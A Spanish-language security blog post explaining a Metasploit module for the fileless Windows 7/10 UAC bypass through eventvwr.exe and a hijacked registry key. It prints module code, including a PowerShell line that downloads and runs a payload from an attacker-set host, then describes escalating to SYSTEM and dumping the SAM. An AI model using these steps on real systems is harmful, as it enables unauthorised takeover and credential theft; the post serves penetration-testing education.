martes, agosto 23, 2016

Nuevo Módulo para Metasploit: Windows 7&10 Fileless UAC Protection Bypass Privilege Escalation #Metasploit

Hace unos días publicamos información sobre la vulnerabilidad descubierta por Matt Graeber y Enigma0x3 que permitía realizar un Bypass de UAC en entornos Windows 7 & Windows 10. Me puse manos a la obra para modificar la prueba de concepto y ejecutar código arbitrario “más interesante” que permitía tomar el control remoto en una consola de Metasploit con el máximo privilegio, es decir, como SYSTEM.

Figura 1: Metasploit. Windows 7/10 Fileless UAD Protection ByPass Privilege Escalation"

Estuve viendo durante unos días si en el Github oficial de Metasploit se publicaba un módulo para explotar esta vulnerabilidad, ya que existe el conocido módulo de bypassuac dentro de la ruta exploits/windows/local. Este módulo tiene diferentes técnicas de explotación, pero por lo que pude ver con el paso de los días es que no se subía una versión del nuevo bypass de UAC. Nosotros somos de la cultura de háztelo tú mismo y a tu gusto, y allí que me lance. Utilicé como “molde” el bypassuac que viene con Metasploit. El resultado se encuentra disponible en mi Github.

Figura 2: Modulo bypassuacfileless.rb en mi GitHub

Además, decidí enviar a la gente de exploit-db el port del módulo de Metasploit y me lo publicaron, por lo que podéis encontrarlo en exploit-db o en el sitio de 0day.today.

Figura 3: Publicación del módulo en exploit-dd

Dicho todo esto, ha llegado el momento de destripar el módulo completo y sus partes más importantes, además de que veamos una prueba de concepto en ejecución del mismo. Vamos a ello.

Función Exploit

Como mencioné anteriormente, el “molde” es el de bypassuac, del cual se pueden aprovechar funciones como check_permissions! o validate_environment!. La primera función se encarga chequear si el contexto de la sesión sobre la que se ejecutará el módulo pertenece a un usuario administrador y el nivel de integridad de ejecución del proceso. La segunda función valida la configuración de User Account Control en la máquina objetivo dónde se quiere llevar a cabo la escalada de privilegios.

La función exploit ha sido implementada para lograr el bypass de UAC siguiendo el modelo de Fileless. El algoritmo sigue los siguientes pasos:
1. Verificación de la configuración del UAC: Debe estar en UAC_DEFAULT para lograr la máxima probabilidad. 
2. Ruta del registro: Comprobación de la ruta del registro HKCU\Software\Classes\mscfile\shell\open\command. 
3. En caso de no existir la ruta anterior se debe crear. 
4. La ruta del registro anterior será la utilizada por el proceso eventvwr.exe para lograr la escalada de privilegio, como se comentó en el artículo primero. 
5. Aquí empieza el “show”. Los caracteres en la entrada del registro están limitados. Por esta razón se introduce la siguiente instrucción: 
reg = "IEX (New-Object Net.WebClient).DownloadString(\'http://#{datastore['IPHOST']}/#{datastore['FILE_DYNAMIC_PAYLOAD']}\')" 
Esta instrucción es almacenada en la clave HKCU\Software\Classes\mscfile\shell\open\command, en su valor por default. Cuando se invoque a eventvwr.exe, éste consultará la existencia de dicha clave y su valor y lo ejecutará, por lo que se ejecutará la instrucción, cuando terminemos de construirla, de Powershell. 
6. La instrucción command = cmd_psh_payload(payload.encoded, 'x86',{:remove_comspec => true,:encode_final_payload => true}) genera en código Powershell el payload que hayamos indicado con SET PAYLOAD [payload]. Se almacena para posteriormente almacenarlo en un fichero de texto. 
7. Ahora, con la instrucción_ 
result = registry_setvaldata('HKCU\Software\Classes\mscfile\shell\open\command','bypass','C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -C ' + reg,'REG_SZ') 
se crea una entrada en el registro con la instrucción que deberá ejecutar eventvwr.exe cuando se invoque, provocando su ejecución en un contexto de integridad alta. Hay que fijarse que el nombre de la entrada es bypass y no Default o Predeterminado, ¿Por qué? Es necesario hacerlo así, ya que no fui capaz de conseguir generar la entrada Default, puede que por torpeza ;) 
8. Después se puede observar una llamada a la función execute_script, el cual ejecuta un pequeño script en Powershell que se encarga de copiar el valor de la entrada bypass anterior a Default. 
9. La última instrucción es r = session.sys.process.execute("cmd.exe /c c:\\windows\\system32\\eventvwr.exe",nil,{'Hidden' => true, 'Channelized' => true}), la cual se encarga de invocar al proceso que desembocará la escalada de privilegios.
¿Qué cosas debemos tener en cuenta?

Una vez que se ha destripado el algoritmo, vamos a tener en cuenta una serie de cosas. En primer lugar, vamos a ver el esquema global hasta conseguir que el payload se ejecute en un contexto privilegiado. Hay unos parámetros en la función initialize que son nuevos:

- FILE_DYNAMIC_PAYLOAD: refleja el fichero dónde se almacenará el payload, por ejemplo, un Meterpreter. Este fichero será descargado por una Powershell en el momento que el proceso eventvwr.exe sea ejecutando, búsqueda en la ruta HKCU\Software\Classes\mscfile\shell\open\command y encuentre la entrada creada con valor y lo ejecute.

Figura 4: Parámetros del payload

- IPHOST: almacena la dirección IP del servidor web dónde se almacena el fichero de texto que se debe descargar.

- LOCAL: Es un booleano. Por defecto vale true, que quiere decir que el servidor web se encuentra en la misma máquina dónde se encuentra Metasploit. Si, por el contrario, la variable estuviera a false, significaría que el payload no se debe generar y escribir en esta máquina. Debe ser ya el usuario el encargado de almacenar un payload manualmente en otro servidor. El módulo seguiría funcionando.

En resumen

Si utilizamos el modo LOCAL del módulo (que viene por defecto) debemos utilizar, por ejemplo, Apache, por lo que tenemos que tenerlo arrancado. La ruta que el módulo coge como base de Apache es /var/www/html, y está hardcodeada en código. Cualquiera puede mejorar el módulo y añadirle funcionalidades o características.

Debemos indicar qué fichero almacenará el payload que se ejecutará dinámicamente (y en memoria) en la máquina remota. Este payload será el que se ejecute ya en el contexto elevado o privilegiado. Para configurar en qué fichero se almacenará el paylaod se debe ejecutar el comando SET FILE_DYNAMIC_PAYLOAD.

Por otro lado, debemos decirle al módulo en qué dirección IP se encuentra el servidor de dónde se descargará el fichero. Esto se realiza a través de SET IPHOST. Por último, la variable LOCAL, solo se debe configurar si queremos cambiar el escenario, e ir a buscar el payload a otro servidor. Por supuesto, hay que indicar el identificador de sesión, mediante SET SESSION [ID SESSION].

Figura 5: Opciones del módulo

Cuando ejecutemos el método exploit el módulo comprobará a través del ID de sesión indicado todo lo comentado en el apartado “Función Exploit” de este artículo, llegando al punto de crear la entrada en el registro con el valor:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -C IEX (New-Object Net.WebClient).DownloadString(\'http://#{datastore['IPHOST']}/#{datastore['FILE_DYNAMIC_PAYLOAD']}\')
Justo después se lanzará el proceso eventvwr.exe y éste consultará el registro y lo que estará ejecutando es una consola de Powershell que se conectará a dónde indique IPHOST y se descargará el fichero FILE_DYNAMIC_PAYLOAD.

Si analizamos el contenido del fichero FILE_DYNAMIC_PAYLOAD veríamos una sentencia similar a esta powershell.exe -nop -enc [código encoded]. Y se ejecutaría. Justo aquí estaríamos logrando realizar el bypass de UAC en Windows 7 o Windows 10.

PoC: Juguemos con el módulo

El escenario inicial es una sesión sobre una máquina Windows 7/10. En este escenario tenemos que tener en cuenta que no tendremos privilegios.

Figura 6: Comprobación de privilegios en máquina objetivo

Ahora configuramos los siguientes parámetros:
- FILE_DYNAMIC_PAYLOAD.
- IPHOST.
- SESSION.
- PAYLOAD (Meterpreter).
- LHOST (si el payload es reverse).
Figura 7: Configuración de parámetros del módulo

Al ejecutar el exploit se configura el handler y se llevan a cabo las validaciones de la función validate_environment!. Se comprueba con check_permissions! y se obtiene la sesión inversa. En este instante tenemos una sesión que se está ejecutando en un contexto elevado o privilegiado, lo cual es fácil de comprobar.

Figura 8: Ejecución del exploit

Ejecutamos el comando getsystem y podemos impersonalizar a SYSTEM. En la siguiente imagen se puede ver cómo podemos lograr un volcado de la SAM de Windows, ya que ejecutamos como SYSTEM.

Figura 9: Ejecución de comandos como SYSTEM en la máquina Windows objetivo

Ha sido divertido implementarse el módulo para este bypass de UAC en Windows 7 y Windows 10, y ver cómo unir la fuerza de Metasploit y Powershell ayuda y mucho en un proceso de ethical hacking. Si mejoráis el módulo o se os ocurren nuevas ideas notificarlo, ¡todas son bienvenidas!

Autor: Pablo González Pérez (@pablogonzalezpe)
Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y “Pentesting con Powershell

2 comentarios:

Camilo Andrés Bravo Lecaros dijo...

Muy bueno,maligno!

Jesus Garrido Fierro dijo...

Camilo. En serio alguno no os dais cuenta que no todas las entradas las escribe Chema Alonso? Me parece una falta de respeto para los colaboradores

Entrada destacada

Joinnovation & KeepCoding Connect: 2 Eventos para DOERS en #Madrid

Ayer fue el día de ver los proyectos de EQUINOX , el hackathon de ElevenPaths donde durante 24 horas se lanzan proyectos que normalmente ...

Entradas populares